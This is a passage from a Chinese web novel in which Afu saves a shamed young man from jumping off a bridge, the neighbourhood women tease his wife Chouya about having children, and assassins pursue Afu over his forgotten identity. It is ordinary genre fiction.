他是阿福的救命恩人,她很感激他。 “宋大哥,你怎么了?” 宋绀宇没听到她的声音,依旧发着呆,身边的宋父轻轻戳一戳他,却不曾想他竟被吓了一跳,手中的茶杯打翻,茶水泼了一身。 宋父手指僵住,忙帮儿子拂去衣服上的茶叶渣,嘴边唠叨:“我不过就是戳戳你,怎就被吓成这样了?烫伤没有?” 宋绀宇连连摇头,那茶水只有温热了,洒在身上也不觉得烫。 丑丫有些不好意思,若不是她叫人家,他也不至于洒了一身的茶水。 “宋大哥,不好意思,害你弄脏了衣裳,你进屋里换一身吧,穿阿福的,你应该能穿。” 宋绀宇连连摆手:“不用不用,天气热,一会儿就干了。” 宋母也道:“不用换,回家洗洗就干净了。” 本是很普通的一句话,可宋绀宇却如同被抽了魂一般,又呆愣住,嘴边不自觉的喃喃着:“洗洗就干净了” 突然,他像是自己回答自己,说得很小声,但是在场的人还是能听清。 “可是永远洗不干净了!” 宋老太太和宋老头听到这话,都是表情一愣,随即又满眼的心疼,但不曾说什么。 丑丫不好多问,只将这句话记在了心里,她能感受到宋绀宇身上那股绝望的悲伤。 宋家人坐了半个时辰便回去了,不曾在小院吃饭,想起宋绀宇的异样,丑丫又问了阿福一些关于他的事情。 她虽然知道宋绀宇是阿福的救命恩人,但细节不曾问过,不知道宋绀宇在郑覃手里遭受过的那些不堪的对待。 日子就这样一天一天的过着,一切都回归了正轨,丑丫的腿还有些微微的疼,面馆便一直没开门,最近已经有不少的熟客来问何时开始营业了。 丑丫也期待着面馆重新开业,养伤这么长时间,她都要无聊坏了,正和阿福商量着哪天开张,就听门外传来一阵焦急的哭喊声。 是宋老太太的声音。 阿福忙去开门,就见宋老太太哭成了个泪人,一张脸沧桑无比:“阿福,小宇小宇不见了!” 她真的不知道该去找谁帮忙了,走动的亲戚少,隔的又远,邻居只会说闲话,她和老头将能找的地方都找了,可就是找不到人,她只能来找阿福和丑丫帮忙了! 第97章 他还怎么活下去 丑丫也走到门口,搀扶住老太太,安抚道:“婶子,您别着急,慢慢说,到底发生了什么事?” 老太太哽咽着将这几天发生的事情说了一遍,说到伤心处时,声音哽咽得不成样。 原来,宋绀宇回家后,邻居街坊的流言蜚语不断,他的事情邻居大多都是知道的,见他回来了,说了些不好听的话,眼睛都恨不得长到头顶,嫌弃他给别人当男宠。 那些话要多难听就有多难听,宋父宋母听到了,气得夜不能寐,和邻居吵了许多次,他们都瞒着宋绀宇,不想让他听到那些难听的话。 他们知道他有多在意那件事,那段过往是他心中的一根刺! 可是世上哪儿有不透风的墙,他们瞒得再好,终究还是抵不过流言蜚语的厉害,宋绀宇知道了,好多天都不曾出门,将自己锁在屋子里。 宋父宋母愁得花白的头发都要变得全白了,但谁曾想他们的女儿,宋绀宇的大姐会在这时候来补一刀! 宋绀宇的大姐嫁给了一户殷实人家,日子过得不错,但过了几年好日子,人也就跟着飘了。 她回家,指责宋绀宇给她丢脸了,他给别人当男宠的事情传到了夫家耳朵里,妯娌们都拿这件事嘲笑她,她气不过便回家发牢骚。 这无异于是压死骆驼的最后一根稻草,宋绀宇嫌弃、厌恶的那段经历被他的亲姐提起,是那般的不齿、那般的肮脏! 他没反驳,只听着亲姐数落他的话,看着她眼底的嫌弃,他也愈发的厌恶自己。 宋父宋母没想到许久不曾回娘家的女儿回来,说的居然是这些话,他们怒不可遏,将人给训斥一顿,再将她给赶回自己家。 以为这件事也就这样过去了,宋绀宇虽然还是不出门,但饭照常吃,还会和他们老两口聊天。 他们高兴,以为他想开了,可哪儿会想得到,今早起来,那孩子就不见了! 他们把想得到的地方都找了,可就是找不到! 丑丫听完,心也沉了下去,那天她就发现宋绀宇的情绪不高,或许是承受不住流言蜚语的压力,去做傻事了! “永远也洗不干净了!” 这句话是那天宋绀宇自言自语说的,丑丫的脑内灵光一闪,突然有了一个猜测。 “我们快去河边找,他可能去了河边!” 阿福对丑丫的话百依百顺,宋老太太也没了办法,丑丫说什么,她便做什么,三人朝着流经镇上的那条河跑去。 丑丫猜测,宋绀宇觉得过往的遭遇让他变得肮脏不堪,再也洗不干净,他要做傻事,大概率会选择水边,死在水里,他的灵魂也得到了荡涤。 河很长,沿着河流跑,三人不停地呼唤着宋绀宇的名字。 “小宇,你别吓娘啊,听到就答应娘一声好不好?” “小宇” 宋老太太声声哽咽地呼唤着,年迈的她早已跑不动,可还是拖着疲倦的身体,期盼地看着河边的每一个身影。 阿福跑得快,丑丫让他先上前去找,她陪着老太太跟在后面,她害怕老太太坚持不住晕了。 沿着河边跑了约莫一里地,跑在最前面的阿福终于看到了宋绀宇的身影。 他没有出声,只默默地盯着他,等待老太太和娘子赶来,只要他有动作,他能第一时间冲上去阻止他。 宋绀宇站在一座桥上,呆呆地看着桥下哗哗流淌的河水,夏天雨水多,水位涨了不少,只要他跳下去,就可以被完完全全地淹没,沉在河底,让河水冲刷他这具肮脏的身体。 他给爹娘丢脸了,他让他们在人前抬不起头,只要他死了,他们身上就没有污点了。 宋绀宇心灰意冷,呆愣了一会儿,终于下定决心,手扶着桥头的护栏,翻过去,再跳下去。 他翻护栏的时候,突然听到一声苍老年迈又熟悉的声音。 “小宇” 他错愕地回头,发现他娘正站在桥下,泪眼婆娑地看着他。 老太太说话很轻,很柔,生怕吓到儿子。 “小宇,我们回家好不好?娘给你做你最喜欢吃的菜,你爹还在家里等我们呢。” 老太太泪流满面,可却强迫自己笑,笑得那样慈爱,一声一声呼唤着她的孩子。 宋绀宇翻护栏的动作停下,看着母亲,也同样泪流满面。 他有些崩溃,无措地抱着自己的脑袋:“娘,对不起,儿子不孝,可是我真的活不下去了” 他无措地哭着,整个人沿着护栏往下滑,跪在了桥上。 他怎么活下去啊,他这么脏,他的人生已经毁了,他还怎么活啊! 老太太见儿子这样,心疼得快要说不出话,她想往桥上走,丑丫搀扶着她一同走上去。 可此时宋绀宇情绪不稳定,他激动又惊慌地往后退:“别上来!求你们了,你们别上来!” 他现在脑子很乱,他根本想不出来该如何面对他们。 老太太被这样的儿子吓一跳,赶紧停下脚步,站在原地不敢上前。 “好,娘不过来,你别激动,不要做傻事,娘就在这里陪着你。” 桥下有不少路人都注意到这一幕,停下来观望,他们交头接耳在猜测着发生了什么事,可没人知道,看了一会儿觉得无趣后又离开。 宋绀宇脑子混乱的在桥上跪了一会儿,看着桥下来来往往的行人,看着他指指点点,他明明听不清他们在说什么,可就是觉得他们是在嘲笑他。 他们在说“你看那人多脏啊,不要脸去卖肉,给人当男宠” 他们还说“我要是有这么个儿子,一定打死他,太丢人了” 脑海里像是有无数个声音在回荡,一声接一声的谩骂,他是个烂人,他是个贱人! 他也想活下去啊,可是他实在找不到再活在世上的勇气! 终于,像是下定了决心,他表情呆滞地跪在桥上,对着母亲的方向磕了一个头,然后站起身,迅速翻过围栏,毫不犹豫地往下跳! 这一幕吓坏了不少人,路人们惊呼尖叫,宋老太太更是腿一软,再也站不住,要不是丑丫搀扶着她,她就要摔在地上了。 就在众人以为宋绀宇会落水时,一道高大的身影快如闪电,朝着桥上跳下的人飞去。 第98章 成功救下宋绀宇 阿福脚尖一点,在桥墩上借力,朝着宋绀宇下坠的方向飞去。 他一把搂住他的腰,将他抱住,脚尖轻点河面,又飞上了岸,他身轻如燕,似乎没使多大的力气,就救下了一个人。 路人们都被震惊得嘴巴长大,连惊呼声都发不出来。 娘耶!他们看到一个会飞的人! 宋老太太差点被吓晕了,见儿子被救下来,又强行稳住自己,赶紧跑了过去。 阿福在将宋绀宇救上岸后,手一松,直接将他摔在了地上,脸色黑沉着,看着便知道他很不高兴。 忍了又忍,他实在忍不住,踹了宋绀宇一脚,不过收了力气,只将人给踹翻在地上,若不收,宋绀宇早就吐血了。 “你还是不是个男人,多大点事就寻死觅活的!” 阿福很反感自杀这种行为,其他事情再重要,哪有命重要,只有活着,才会有更多的选择,这种方式活不下去,那就换一种方式好了。 天大地大,总有适合自己生存的地方和方式。 丑丫搀扶着老太太赶过来,就见阿福踹了宋绀宇一脚,她忙跑过去给他顺毛。 “阿福乖,不生气,不生气。” 丑丫拍着他的背,生怕他的倔脾气闹起来,非要教训宋绀宇,宋绀宇那副身板,哪儿经得住他一拳。 阿福气鼓鼓地“哼”了一声,牵住娘子的一只小手,转过身去,不再看宋绀宇,怕自己看了生气。 宋老太太瘫坐在地上,搂着儿子,心有余悸地安慰:“没事了,没事儿了,跟娘回家。” 宋绀宇还呆愣着,缓了一会儿后,他看着阿福的背影,哭着大吼:“为什么不让我去死!为什么不让我去死!我还怎么活下去啊!” 阿福气得转身,抬起脚又想往他身上踹,丑丫赶紧拉住他,将他往一旁拽。 宋老太太的情绪也绷不住了,哭着拍宋绀宇:“你个死孩子,你是想让我和你爹白发人送黑发人吗?还是想让我们和你一起去死?” “你跳啊!只要你跳下去,我和你爹二话不说也跟着你跳下去,我们一家人,就算去黄泉路也齐齐整整的!” 宋绀宇不敢再说话了,搂着母亲嚎啕大哭,母子俩都哭成了泪人。 过了好一会儿,两人才止住哭声,丑丫见他们情绪缓下来,对宋绀宇道。 “其实我要比你艰难很多,但我从来没想过去死,再苦再难,我也坚持活着。” “我五岁便没了父母,像乞丐一样长大,被别人打,打不过只能受着,肚子饿,漫山遍野找吃的,好不容易找到点好的,还会被别人抢” 丑丫的声音很平静,平静的像讲故事一般给宋绀宇讲她的故事。 儿时的艰难挣扎求生存,吃猪食,睡坟槽,长大后,村里人的造谣欺辱,被人群殴,房子被烧 这一桩桩一件件,只要发生在人身上一件,都觉得艰难无比,可这一切却都发生在她身上。 她现在回想起来都觉得不可思议,这么苦,她是怎么过来的? 宋绀宇听得很认真,每听一个字,都觉得不可思议,一个不过十六七岁的小姑娘,竟然经历了这么多苦难! “我说这么多,是想告诉你,你很幸福,你的苦难只有三年,而我的苦难却有十六年,若不是遇上了阿福,我现在估计还泡在苦水里。” “你在郑覃手里再屈辱都挺过来了,为什么现在终于与父母团聚,那个折磨你的恶魔也死了,你却想着去死?” “流言蜚语真的那么重要吗?嘴长在别人身上,你不能控制他们说什么,但你能控制你自己,被他们说也不会少一块肉,你当作听不到就好了!” “你看看你的父母,你忍心看着他们为你收尸,日日夜夜为你流泪吗?对抗流言蜚语最好的方法就是你得强大起来,他们现在看不起你,那你就努力,让他们仰望你,你强大了,他们自然也就闭嘴了!” 宋绀宇受到了很深的触动,突然间就觉得自己是个懦夫,为何他只想着逃避呢,为何就不能像丑丫说的那样努力变强大,用实力堵住他们的嘴呢? 可转念他又觉得,他脏脏到了骨子里,又怎么配活在世上呢? 他的思绪很混乱,一时间想不通他到底是该死还是该活着,最终跟着母亲一起回了家。 小面馆重新营业了,除了一些老客来吃面以外,居然还来了不少附近的店家,他们甚至还带了礼品。 丑丫和阿福见他们来还觉得有些奇怪,毕竟以前和他们也没什么交集,可交谈过后,便知道他们的来意。 原来是来感谢他们的,他们都是受神威赌坊迫害的受害者,被他们砸过店,收过保护费,如今郑覃死了,虽然没明说是谁干的,但他们都猜得到。 他们为他们除了一个地痞,自然要来感谢,同时他们也愧疚,赌坊来他们的小面馆闹事的时候,他们怕事,不敢出来帮忙,现在却承了他们这么大一个人情。 经此一事,丑丫与附近这些店家的关系都热络起来,平时也有了串门的对象,她越来越喜欢在小镇上的生活了。 宋绀宇自那次后就再也没有闹腾过了,老老实实地待在家,但估计是那次将宋父宋母吓坏了,两个老人盯他盯着得很紧,生怕他又悄悄摸摸地去做傻事。 今天面馆重新开业,宋绀宇也来了,给丑丫和阿福送来了一篮子宋父和宋母种的菜,他知道送好的他们也不会收,只能送了些自家种的菜。 到了店内,见阿福和丑丫忙,他还主动帮忙,丑丫看他情绪不再像之前那样阴沉沉的,也放心下来。 过了一会儿,阿福察觉店外有人鬼鬼祟祟,出门一看,居然是宋父和宋母。 老头和老太太被抓包,不好意思地对着他笑笑,没办法,自从儿子闹着要跳河以后,他们老两口都学会跟踪了。 儿子出门,他们要么光明正大地跟着一起去,要么就偷偷摸摸跟在身后,今天儿子说要来找阿福和丑丫,他们不放心,又在后面偷偷摸摸跟踪了。 阿福将两个老人请进了店,宋绀宇看到爹娘,十分的无奈,但也心疼,他知道,上次将他们给吓坏了。 尽管他无数次保证过他不会再做傻事,但他们依旧不放心。 他已经想通了,他还有爹娘要照顾,不能这么不负责任的死去,别人的那些流言蜚语,他就当做耳旁风,虽然听到时还是会不舒服,但已经没有之前那么难受了。 第99章 这是什么虎狼之词? 丑丫请三人吃面,等店里的客人走得差不多的时候,又和他们聊天。 恰逢赌场的手下来汇报近期善堂修建的进度,丑丫和阿福都同时有了一个想法,让宋绀宇到赌坊和善堂里做事。 宋绀宇听他们说起的时候,震惊得眼睛都瞪大了,震惊过后又是欣喜,他自然是愿意的! 曾经神威赌坊乌烟瘴气,但现在,郑覃死了,他手下的那些地痞流氓差不多死完了,剩下的都改邪归正,神威毒贩不再像以前那样人憎狗嫌。 被郑覃关在后院那三年,他学会了不少东西,到赌坊去做事,他有信心能做好! 这么一商量,阿福通知了现在的赌坊管事,宋绀宇和他一样当管事,他们两人一同管理赌坊和善堂。 宋绀宇连连道谢,感恩戴德,宋父宋母也千恩万谢,但只有阿福和丑丫知道,他们就是想当耍手掌柜。 他们对赌坊不感兴趣,只想打理好他们的小面馆。 日子一天天过着,阿福和丑丫的生活回归平静,眨眼就到了八月,马上又是中秋了。 镇上有不少的人家种了桂花树,丑丫他们的小院子里就有一棵,将树上开得正好的桂花摘了拿去泡酒,等中秋节的时候就可以喝桂花酒了。 丑丫现在和附近的店家都已经混熟了,得空的时候,会有些婶子大娘来找她唠嗑,或是一起给男人孩子做衣裳,做鞋子。 今天也不例外,面馆歇业,附近的几个店家的女眷又来找她了。 小院里,女人们都拿着布料在缝制,有一搭没一搭地聊着,还有几个孩子在跑来跑去地玩儿。 丑丫在给阿福做鞋,现在她和阿福的日子好过了,可以时不时添一套新衣裳或新鞋子,阿福的衣服鞋子都是她亲手做的。 每次穿上新衣裳,阿福都非常高兴,所以丑丫也喜欢给他做衣物。 一个嫂子拿过她的针线笸箩里纳好的千层底鞋垫,满眼艳羡:“我要是有你这手艺,我婆婆也不至于总是嫌弃我的针线活像是狗啃的了。” 丑丫被她说得不好意思,红着脸道:“哪有,嫂子你说得太夸张了。” 的确,这个嫂子的针线活说不上多好,但也绝对能看,说是像狗啃的有些夸张了。 一群女眷笑了起来,一个大着肚子的妇人在缝制小婴儿的衣物,看向丑丫打趣道:“小丫,你和阿福也成亲有段时间了吧,还没打算要孩子?” 妇人话一出,所有女眷都齐刷刷地看向丑丫,七嘴八舌地开始催生,有的甚至开始传授她好孕技巧。 “都是成了亲的,有什么好害羞的,我和你说,那啥完事儿之后了,在屁股下面垫个枕头” “对对对,我这里还有个药方子,补得很,我当初怀上我家老大的时候就是给我男人吃了那个,但是看你家阿福那身板,估计不需要” 丑丫脸红得都要冒烟了,这都是些什么虎狼之词啊?她能说她和阿福还没圆房吗? 一个婶子经验最为丰富,看丑丫那快要将脑袋埋进地里的鹌鹑样,不由有了一个大胆的猜测。 她瞅了眼门口的方向,见门关得好好的,才压低声音,试探着问道:“小丫,你和你家阿福不会还没圆房吧?” 其他女眷一听,都瞪圆了眼睛,不可能吧,一男一女都睡一个屋,躺一张床上了,还能忍得住? 不过也有可能,她家那阿福好像有点傻憨憨的,不会根本不会那档子事儿吧? 丑丫又是个小姑娘,这种事情肯定不敢主动 不得不说,这些婶子、嫂子们是有些侦查技能在身上的,这么快就破案了,一瞬间,她们的眼眸中闪过熊熊的八卦之光,齐刷刷看向丑丫。 丑丫现在都恨不得挖个坑把自己给埋了,整个人就像一颗熟透了的洋柿子,救命,已婚女人的话题,真的好恐怖! 一个婶子抓过丑丫的小手,让她抬起头,满眼认真地看着她:“别怕,我们帮你,保证你们明年就能抱上大胖小子!” 其他女眷也纷纷附和:“对,包在我们身上!” 接下来,丑丫就被七嘴八舌的劲爆信息给轰炸了,那些新知识一个接一个地往她脑子里面钻,她想忽视都忽视不了。 不能干涩地横冲直撞,要有水才行 第一次都疼,忍一忍就过了,后面会很爽,而且越大越爽 要学会拿捏男人,受不住就用力夹他 一群婶子嫂子越说越奔放,恨不得将自己和自家男人那点事儿都抖出来。 可怜了丑丫,一朵干干净净的小白花,在语言攻击下,都快变成一朵小黄花了。 谁来救救她?挺急的! 嘴上传授经验还不够,有的婶子已经想好了回去鼓动自家男人给阿福送点珍藏小册子,或是指点指点迷津,毕竟床上这档子事儿,出力的主要是男人,男人不懂可不行! 终于将一群热心的婶子和嫂子送走,丑丫生无可恋的躺在躺椅上,看着西下的夕阳,她觉得,她现在的心和它一样黄。 可,虽然难为情,她的脑子里却不受控制的一句一句飘荡过那些话。 她烦恼的拍了拍自己的脸颊,才发现脸上烫呼呼的,怎么办,她好像变色了。 将一块帕子盖在自己的脸上,丑丫放空的大脑又在想一个问题。 孩子,她和阿福的孩子会长什么样呢? 一定要像阿福,那样的话,不管是小女娃还是小男娃都很好看,要是像她 要是像她就受苦了,但她一定会更呵护他,不会让他经历自己所经历的这些。 这么想着,她的心变得热热的,为什么突然很期待能有一个属于她和阿福的孩子呢?要不就生一个吧? 她脑子想着这些事,去厨房做了饭,等着阿福回来吃。 阿福去查看赌坊和善堂了,两个地方都已经正常营业走上正轨了,宋绀宇和另外一个管事将其管的很好,阿福只是偶尔去看看。 回家的阿福觉得娘子变得有些奇怪,总是盯着他发呆,还会变得脸颊红扑扑的,不知道在想些什么。 不过他很开心,肯定是娘子太喜欢他,才会这么盯着他看的! 第100章 我们生个孩子吧 夜晚就寝,阿福洗了澡出来,身上的衣裳懒懒散散地穿着,上身是一件里衣,但系带没系上,敞开露着胸膛。 上面的鞭伤已经好了,但是留下了好几条疤,看上去愈发增添了几分硬朗的气质。 而下身,他就穿了一条薄薄的亵裤,轻薄的布料下,那傲人的资本若隐若现。 丑丫坐在床上,欣赏着男人俊朗的容颜和迷人的身材,眼神不自觉地聚焦在那个吸引人的部位。 脑子里突然飘过今天一个婶子说的话:越大越爽 阿福应该挺的吧,真的会爽吗? 阿福注意到娘子在看他,眼神下移,察觉到她在看自己那里,一时间觉得小腹有点紧,意识渐渐飘散,想到了娘子那双柔弱无骨,却又带着微微细茧的小手抚摸他的感觉。 立马,拳头硬了! 某个东西蠢蠢欲动,在丑丫的眼皮子底下。 丑丫不敢置信地看着逐渐蓬勃发展的地方,等回过神后,脸蛋爆红,一把扯过被子将自己给裹了起来,一丁点都没露在外面。 天啊天啊,她刚刚在干嘛?她真的变成一个色鬼了! 阿福喉结微微滑动,朝着床边走去,想起来披散着的头发还带着湿意,他调转体内的内力,一股热力从内到外散发,没一会儿的功夫,头发居然就被烘干了! 这是他最近发现的内力的用法,用来给娘子烤头发很好用。 身上没了水汽,他掀开被子,也钻了进去,紧紧地搂住将自己藏在被窝里的娘子。 丑丫被他搂得紧紧的,感受着她身上的温度,慢慢地,她觉得自己也好像变烫了,身体有了异样,想找一个宣泄口宣泄出来。 两人都缩在被子里,鼻尖是彼此的气息,气氛逐渐变得暧昧。 丑丫沉默了一会儿,靠在阿福怀里瓮声瓮气地问道:“阿福,你想要孩子吗?” 阿福没有一丝犹豫:“想!” 他当然想要一个他和娘子的孩子,家里有时会有别家的孩子来玩,看着他们,他就想,他和娘子的孩子一定会比他们可爱,比他们听话。 丑丫心头一热,一个翻身,压在了阿福身上,捧着他的脸,注视着他的眼眸,语气温柔缱绻又认真不已:“好,那我们就生一个孩子。” 她说完,笨拙地吻上阿福的唇,虽然她经常会和阿福接吻,但是主导的都是阿福,她的动作青涩又生疏。 她像一只小猫,在阿福的唇上亲了亲,又舔了舔,脑子里回忆着今天学来的知识,害羞又期待地在阿福身上实验。 阿福惊讶于娘子今天的热情,震惊过后便马上反客为主,将丑丫压在身下,热血又急迫地汲取那张温软又香甜的唇。 丑丫觉得她快要溺毙在他的热情里,可却又莫名的期待,她疯狂地回应,两只小手也没闲着,钻进阿福的衣襟里,抚摸他滚烫又健壮的身体。 两人都逐渐进入了状态,纠缠在一起的身影难舍难分,可院门外突然传来一道急切的敲门声,打破了这种气氛。 两人动作一滞,都带着些粗喘,丑丫有些害羞,看着门口的方向,拍了拍阿福:“要不去看看?” 阿福的脸黑沉沉的,不想理会,低头又吻上娘子的香肩,可刚有动作,门外又传来敲门声,这次还挺急切。 “阿福兄弟,是我!” 丑丫认出来这声音,是隔壁杂货铺老板,三十出头的年纪,她平时和他媳妇走得很近,就是不知道这么晚了来干嘛,听着还挺着急的。 丑丫忙哄着阿福起来穿衣裳,两人穿戴整齐后出去开门,丑丫笑脸相迎,阿福却是像别人欠了他二百两一样,拉着一张脸。 杂货铺老板不曾进门,只从怀里掏出一样东西,递给了丑丫和阿福。 是一张画像,阿福的画像! 杂货铺老板压低声音道:“我今天到隔壁县进货去了,出城的时候就发现有一群人拿着画像询问过路的人。” “我不知道那些人是什么来路,但看着挺凶的,所以来和你们说一声。” “你家阿福不会惹上什么麻烦了吧?要不你们赶紧去避一避?” 杂货铺老板说得一脸认真,眼神里都是关心的神色,他始终觉得,这个叫阿福的傻男人不是简单角色,你见过谁家傻子能单挑地痞窝的? 他替他们除了郑覃一个祸害,他记着他的好,所以今天发现这个情况,马不停蹄的赶回来,给他们通报一声。 丑丫拿着画像,连连对杂货铺老板道谢,将人送走后,她的心情沉重下来。 初遇阿福开始,他就知道他不是普通人,和她更不是一路人,或许有一天会离开她,可这一天,这么快就来了吗? 对方已经找到隔壁县来了,迟早会找到他们这里,可对方究竟是敌是友? 阿福记不得从前的事,无法判断对方的身份,若对方是他的仇人,会不会对他们下手? 一时间,丑丫的思绪乱如麻,两弯秀眉蹙起,有化不开的忧愁。 阿福也在思考这件事,但见娘子担心的模样,还是伸抚平她的眉头,笑着安抚:“别担心,一切有我呢。” 丑丫看他故意笑得轻松,心里抽疼了一阵,她的阿福,真的要离开她了吗? 这一夜,丑丫和阿福都没睡着,最开始的热情似火也被这个消息浇得透心凉。 阿福在仔细回想以前的事,可是始终想不起来,他是谁,他叫什么名字,一概不知。 自从知道有人在找阿福以后,丑丫和阿福都警惕起来,来店里吃面的客人,或是从门外经过的路人,他们都会留意。 过了三天,还真让他们等到了两个有古怪的人。 中午时分,店里客人正多,丑丫和阿福都很忙碌,但是他们还是注意到了两个与众不同的客人。 两张生面孔,开口说话的声音也不是本地口音。 他们身上穿着很普通的棉布衣裳,但他们身上的气势,以及走路姿势都不是寻常老百姓该有的。 阿福第一时间便察觉,这两个人是练家子,身上有杀气! 第101章 熟悉的气息 两人安静地吃上了面,但是那余光却若有若无地扫向丑丫和阿福的方向,而阿福和丑丫也在悄悄打量两人。 丑丫一直警惕着,但直到两个人吃完面,结了账出店门都没发生任何事情,她甚至开始怀疑自己是不是太紧张了。 两人前脚出去没一会儿,阿福也跟了出去,在暗中跟在他们身后,想查清楚他们到底是什么来历。 但是两人时分警惕,出了面馆后便,漫无目的的在街上闲逛起来,恍若他们真的只是来逛街的,跟到最后,他们进了一家客栈,之后便没再出来。 大白天阿福不好行动,客栈也不会放任陌生人进店查看,他只能回了面馆。 丑丫见他回来,有些着急地问道:“怎么样,有线索吗?” 阿福摇了摇头,将事情经过和丑丫说了一遍,丑丫也有些许失望。 “你说,是不是我们想多了,那两个人只是普通的外地人?” 阿福没作言语,他能从那两个人的身形看出,他们是习武之人,来头绝不会简单。 但是不想让娘子跟着他担心,他便笑了笑,揉了揉丑丫的脑袋:“大概吧,不要担心,走一步看一步。” 此时,客栈内 来面馆吃面的两个外地人进了一间屋子,对着房间里的一个男人单膝跪地回禀:“大人,属下已经确认过,确实是那位没错!” “哦。” 站在两人跟前的男人眼眸一亮,脸上显露饶有兴味的神色:“他还真能躲,一年多了,都没让人找到!” “你们可探查清楚了,他是否如当地人所说,真成了傻子?” 虽然他清楚当初给他下的药的威力,但他还是难以想象,那样一个天之骄子会真的变成傻子! 两个属下对视一眼,面上浮现得意的神色:“虽未曾与他交谈,但属下等确定,他真是傻子!” 他们今天还吃到了那位亲手扯的面条,这要是放在以前,给他们十个胆子他们都不敢想,但今时不同往日,就算他曾经厉害,现在也不过是一个傻子! 男人闻言,仰面大笑几声,眼中闪过狠辣之色:“好!那我就去亲自会会他,变成傻子的他,还真是让人期待!” “你们做好准备,这次,一定要取了他的命,再也不能让他跑了!” “是!” 两个属下领命出了房间,屋内的男人背着手,心中的汹涌澎湃还未平息。 褚千辞啊褚千辞,想不到你也有今天! 自那日登门了两个外地人后,小面馆里没再出现可疑的人,丑丫稍稍安心。 今日一早,丑丫带着阿福去街上买菜,店里用的菜和肉,都是他们一大早去买的。 菜摊前,丑丫挑了两把青菜放进菜篮子里,给老板付了钱,刚站起身,后背便被人撞了一下,不受控制的要摔倒。 在即将摔倒之际,阿福的一只有力的大手搂住她的腰,将她扶得稳稳的。 而与此同时,阿福另一只手已经从腰间掏出匕首,没拔鞘,快准狠将带鞘的匕首抵在撞到丑丫那人的脖间。 这场面将周围的人吓了一跳,有些已经惊呼出声。 丑丫站定身形,抬眸看向撞她的人,眼神便撞上一双似笑非笑的眼睛。 是个男人,身穿一身黑衣,他的个头也很高,但比起阿福,还是差了点。 五官硬朗,并没有多帅气,但是身上那股冰冷漠然的气质让他显得贵气了些。 他眼神似笑非笑,像调戏动物一般,丑丫看得很不爽。 男人率先开口:“在下云谲,很抱歉刚才不下心撞到这位小娘子。” 他说着道歉的话,可丑丫却能感觉到,他并不是诚心的,甚至带着恶劣的戏耍、试探。 她心中暗暗骂了一句有病,然后轻轻捏了捏阿福的一只大手,示意他收手,不想和这种人将事情闹大。 阿福不情愿的收了手,眼神却冰冷的扫视那个叫云谲的男人几眼,莫名的,他觉得他身上的气息很熟悉,但是却让他十分不喜欢,甚至是厌恶! 丑丫牵上阿福的一只手,温柔的安慰:“阿福乖,我们不和不长眼的狗狗计较。” 阿福乖巧的跟着娘子走,只不过走过云谲身边时,装作不经意的往他脚上踩了一脚,黑色的鞋面上立马出现一个脚印。 云谲神色暗了暗,看着两人离开的背影,须臾后唇角微勾,笑得阴狠。 呵!褚千辞,没想到你也有这么幼稚的一天! 丑丫带着阿福走远,才抬眸看着脸色依旧不好看的阿福,柔声安慰:“阿福,不生气了,为那种莫名其妙的人生气不值得,我家阿福最乖了,笑一个好不好?” 阿福被娘子哄着,尽管心里还是有些不开心,但还是灿烂的笑起来,娘子最喜欢看他笑了,他要笑! 他并没有将他觉得那个叫云谲的男人很熟悉这件事告诉丑丫,最近这几天,娘子都在担心着有坏人来找他,他不想让她在担惊受怕了。 中秋节眨眼就到了,这是丑丫和阿福过的第二个中秋节,时间过得很快,阿福到她身边已经一年多了。 自从知道有人在打听阿福后,丑丫就一直担心着,害怕阿福离开她,现在每和阿福多相处一天,她都觉得那时老天爷的馈赠。 自从搬来镇上之后,他们便再也没有回过那个乌烟瘴气的小村子,但中秋节,丑丫想回去给爹娘上柱香。 过节,店歇业了,丑丫准备好了东西,阿福一大早便骑着马带她回村祭拜。 去山腰的坟地并不需要进村子,但是站在山腰,可以看到清水村的现状。 被大火焚烧的迹象还隐隐可见,村里没有以前那么热闹了,村民出走了大半,剩下的重新搭建屋子安家,以前的瓦房都变成了茅草房,看上去就很凄惨。 丑丫并没有愧疚,以其人之道还治其人之身,她并不觉得她和阿福做错了,要怪就怪他们偏要来招惹她! 给爹娘上了香,烧了纸钱,又絮絮叨叨的说了一会儿话,丑丫和阿福便准备回镇上了。 可还没到山脚,阿福便察觉了异样,他们被人包围了! 大黑马也察觉到有陌生的气息,不安焦躁的嘶鸣。 阿福护好娘子,警惕的扫视四周,便见一群黑衣人从四周的树丛里窜出,手拿刀剑,将他们给团团围住。 第102章 被人围堵 “又见面了!” 男人阴狠得意的声音从上方传出,丑丫抬眸望去,就见一个男人从树上运着轻功跳下。 是云谲! 大概是觉得他们一定会成功,所以云谲连面巾都不曾戴,直接又显眼地站在丑丫和阿福跟前。 丑丫冷眼看着他,问道:“你们是什么人?拦住我和我相公要干什么?” 云谲冷笑两声,看向阿福,眼神里带着嘲讽:“我们当然是你相公的老熟人了!” “你不知道他是什么身份吧?要是知道,像你这样的,连给他提鞋的资格都没有,更别说和他睡一张床!” 丑丫听着他的嘲讽,拳头捏紧。 云谲正笑得得意,却见迎面飞来一个不明物体,带着惊人的力道。 他迅速闪身躲开,那物体打中了他身后的树,直接嵌入了树干,他转头一看,才发现居然是一颗瓜子! 能直接将瓜子当暗器,还有如此力道,不愧是他褚千辞,即使傻了也不一般! 阿福冷声训斥他,即使此时身陷囹圄,也如同天生的王者:“嘴放干净点!” 云谲的脸色一沉,冷笑一声,对着四周的手下一挥手:“给我上!” “希望你们喜欢我给你们选的这块埋骨地,放心,我会将你们埋在一起的,不会让你们黄泉路上寂寞!” 四周的黑衣人簇拥而上,他们不再是村民或赌坊打手那些乌合之众,他们都是受过严格训练的暗卫! 招招下手狠辣,直逼人命门! 阿福搂着丑丫下了马,拍了大黑马一巴掌,大黑马便嘶鸣着狂奔跑开,中途还撞飞了两个黑衣人。 他一只手保护着丑丫,另一只手仍然能游刃有余地和黑衣人对打,丑丫更深切地体会到了阿福的厉害。 他还是用他自制的那根软鞭,鞭子所到之处,哀声四起! 丑丫有些着急,这些人的身手显然不是她这种手无缚鸡之力的能硬刚的,贸然冲出去只会给阿福拖后腿。 她眸光一沉,将阿福腰间的匕首拔了出来,在自己的掌心划了一刀,瞬间,鲜血淋漓! 打斗过程中,阿福将对方的剑给挑掉,她趁机,捡起剑,抹上她的血,再将剑给阿福,替换了他手里的鞭子。 阿福见娘子满手鲜血的样子,便知道她的意思,眸中满是心疼的神色,但不想让她的血白流,他接过剑,气势更加的狠辣! 一剑出,带着肃然的杀气,划过对面人的脖间,鲜血四溅。 剑将黑衣人的身上划开了口子,但他们并不在意,举剑便继续战斗,可没一会儿,他们便察觉到了不对劲的地方。 中毒了! 